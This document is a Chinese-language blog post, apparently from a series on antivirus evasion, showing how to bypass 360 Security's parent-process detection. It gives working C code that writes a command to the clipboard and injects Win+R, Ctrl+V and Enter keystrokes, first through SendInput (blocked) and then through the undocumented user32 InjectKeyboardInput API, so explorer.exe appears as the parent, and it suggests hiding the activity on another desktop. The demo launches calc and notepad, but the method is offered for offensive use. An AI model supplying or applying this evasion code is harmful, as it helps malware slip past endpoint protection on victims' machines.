Contents

从零开始的免杀生活-番外-进程链欺骗

0x00.序

针对某60,因为某60在ProcessObcallback 内核回调中 进行了父进程pid的获取以及检测 所以如果我们单纯的使用我们自己编译的文件调用一些敏感的api 如:危险注册表的操作,重要目录的修改,重点Com的调用 都会触发拦截。

针对这种情况我们称为 父进程检测

经过分析以及测试 我们知道以下的规则

explorer.exe(白文件) -> hack.exe(灰文件) -> 敏感操作 == 拦截

explorer.exe(白文件) -> safe.exe(白文件) -> 敏感操作 == 放行

这里需要说明 某些微软的系统文件可以进行危险操作的 虽然是白文件但是特定目录 特定的hash都被360给记录下来了,所以如果上述的safe是例如reg,cerutil等已经被利用烂了的白文件的话 就算是全进程链都是白的 这个操作他还是会拦截的,所以需要对这步进行绕过 如修改目录,修改文件名啥的.

以下是360的驱动在内核中的图片 https://cdnjson.com/images/2024/05/18/image11d37444e2890966.md.png

0x01.模拟鼠标键盘

在windows下微软提供了许多api给我们用来模拟点击 例如SendInput,keybd_event,mouse_event等等 我们简单的用SendInput来写一个模拟实现按下 Win+r -> ctrl+v -> Enter 这个操作并事先置剪切版内容为我们需要执行的白文件,这里我们就用calc来

通过MSDN文档来看这个SendInput的api调用十分简单 https://cdnjson.com/images/2024/05/18/image-1d039c2c21cfdddca.md.png

只需要三个参数,主要都是围绕第二个参数INPUT这个结构体来的 根据文档我们就能写出以下的代码

#include <windows.h>

int main() {
    //修改剪切板
    TCHAR szText[] = L"calc.exe";
	if (!OpenClipboard(NULL)) {
	return 0;
	}

    EmptyClipboard();
	HANDLE hData = GlobalAlloc(GMEM_MOVEABLE, sizeof(szText));
	LPWSTR pData = (LPWSTR)GlobalLock(hData);
	CopyMemory(pData, szText, sizeof(szText));
	GlobalUnlock(hData);
	SetClipboardData(CF_UNICODETEXT, hData);
	CloseClipboard();
    INPUT inputs[4] = {};

    // 模拟按下Win+r
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = VK_LWIN;
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.wVk = 'R';

    inputs[2].type = INPUT_KEYBOARD;
    inputs[2].ki.wVk = 'R';
    inputs[2].ki.dwFlags = KEYEVENTF_KEYUP;
    inputs[3].type = INPUT_KEYBOARD;
    inputs[3].ki.wVk = VK_LWIN;
    inputs[3].ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(4, inputs, sizeof(INPUT));
    Sleep(500);
    // 模拟按下ctrl+v
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = VK_CONTROL;
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.wVk = 'V';

    inputs[2].type = INPUT_KEYBOARD;
    inputs[2].ki.wVk = 'V';
    inputs[2].ki.dwFlags = KEYEVENTF_KEYUP;
    inputs[3].type = INPUT_KEYBOARD;
    inputs[3].ki.wVk = VK_CONTROL;
    inputs[3].ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(4, inputs, sizeof(INPUT));
    Sleep(500);
    // 模拟按下回车
    INPUT enterKey[2] = {};
    enterKey[0].type = INPUT_KEYBOARD;
    enterKey[0].ki.wVk = VK_RETURN;
    enterKey[1].type = INPUT_KEYBOARD;
    enterKey[1].ki.wVk = VK_RETURN;
    enterKey[1].ki.dwFlags = KEYEVENTF_KEYUP;
    SendInput(2, enterKey, sizeof(INPUT));

}

然而我们在核晶环境下运行会发现什么都没有发生,难道是我们代码写错了? 其实并不是 而是360拦截了

https://cdnjson.com/images/2024/05/18/image-2d8277fe6c51b6fef.md.png

实际上我们能想到的普通的方法 360的开发人员肯定也想的到,还有一直就是利用SendMessage直接给explorer发送消息实现模拟点击和模拟按键 不过 360也已经进行了hook拦截 难道就没有其他办法了?

0x02.峰回路转

在win10 下的user32.dll中有两个未公开的API InjectKeyboardInputInjectMouseInput

这两个较为冷门的api,360并没有进行拦截 不过因为是未公开的我们在网上找不到任何资料,只能通过逆向来猜测其参数

可以看到他实际上是调用win32u.dll下的NtUserInjectMouseInput https://cdnjson.com/images/2024/05/18/image-327ce479d79a9e39f.md.png

然后win32u底下就是一个syscall 并不知道实际是几个参数的 通过搜索引擎检索 在mingw下看到一个def文件发现 https://cdnjson.com/images/2024/05/18/image-4baf471905cd057ca.md.png

@8 那大概率是有两个 4字节的指针

但我们并不知道他是什么结构的 我们继续搜索 在github上发现一个项目上有使用这个api的代码 https://cdnjson.com/images/2024/05/18/image-55efc1f16b3c1d6ab.md.png

https://github.com/SamuelTulach/InjectMouseInputExample

这下好了有借鉴(抄袭)的来源了 直接用就行

但是他这只有InjectMouseInput 第一个参数的结构体,于是继续搜索 发现 windows的sdk头文件里有函数的定义 https://cdnjson.com/images/2024/05/18/image-677f2d92515855e5d.md.png

所以我们知道了第一个参数为一个结构体,第二个参数是按几次的意思 https://cdnjson.com/images/2024/05/18/image-7294fdb277951ccb3.md.png

typedef struct tagKEYBDINPUT {
    WORD    wVk;
    WORD    wScan;
    DWORD   dwFlags;
    DWORD   time;
    ULONG_PTR dwExtraInfo;
} KEYBDINPUT, *PKEYBDINPUT, FAR* LPKEYBDINPUT;

知道结构之后我们就可以利用啦 代码:

typedef LONG(WINAPI *InjectKeyboardInputT)(

	KEYBDINPUT
	, UINT
	);

InjectKeyboardInputT InjectKeyboardInput = (InjectKeyboardInputT)GetProcAddress(LoadLibraryA("user32.dll"), "InjectKeyboardInput");

int press(){
    //模拟WIN+R
    KEYBDINPUT a;
	a.wVk = VK_LWIN;
	a.wScan = VK_LWIN;
	a.dwFlags = 0;
	a.time = 0;
	a.dwExtraInfo = 0;
	InjectKeyboardInput(a, 1);
	KEYBDINPUT b;
	b.wVk = 0x52;
	b.wScan = 0x52;
	b.dwFlags = 0;
	b.time = 0;
	b.dwExtraInfo = 0;
	a.dwFlags = KEYEVENTF_KEYUP;
	InjectKeyboardInput(b, 1);
	b.dwFlags = KEYEVENTF_KEYUP;
	InjectKeyboardInput(a, 1);
	InjectKeyboardInput(b, 1);

	Sleep(500);
    //置剪切板
	TCHAR szText[] = L"notepad.exe";
	if (OpenClipboard(NULL)) {
		EmptyClipboard();
		HANDLE hData = GlobalAlloc(GMEM_MOVEABLE, sizeof(szText));
		LPWSTR pData = (LPWSTR)GlobalLock(hData);
		CopyMemory(pData, szText, sizeof(szText));
		GlobalUnlock(hData);
		SetClipboardData(CF_UNICODETEXT, hData);
		CloseClipboard();
	}

    //模拟CTRL + V
	a.wVk = VK_LCONTROL;
	a.wScan = VK_LCONTROL;
	a.dwFlags = 0;
	InjectKeyboardInput(a, 1);
	Sleep(500);
	b.wVk = 'V';
	b.wScan = 'V';
	b.dwFlags = 0;
	a.dwFlags = KEYEVENTF_KEYUP;
	InjectKeyboardInput(b, 1);
	b.dwFlags = KEYEVENTF_KEYUP;
	InjectKeyboardInput(a, 1);
	InjectKeyboardInput(b, 1);

    //模拟Enter键
	a.wVk = VK_RETURN;
	a.wScan = VK_RETURN;
	a.dwFlags = 0;
	InjectKeyboardInput(a, 1);
	a.dwFlags = KEYEVENTF_KEYUP;
	InjectKeyboardInput(a, 1);
}

成功执行了,且没有任何拦截,且父进程是explorer.exe image-8.png

0x03.终

该过父进程拦截的方法 也存在的局限性 比如 模拟点击这种行为就已经是很不正常的行为了 不够隐蔽,后续可以考虑利用CreateDesktop在其他桌面进行这样的操作。。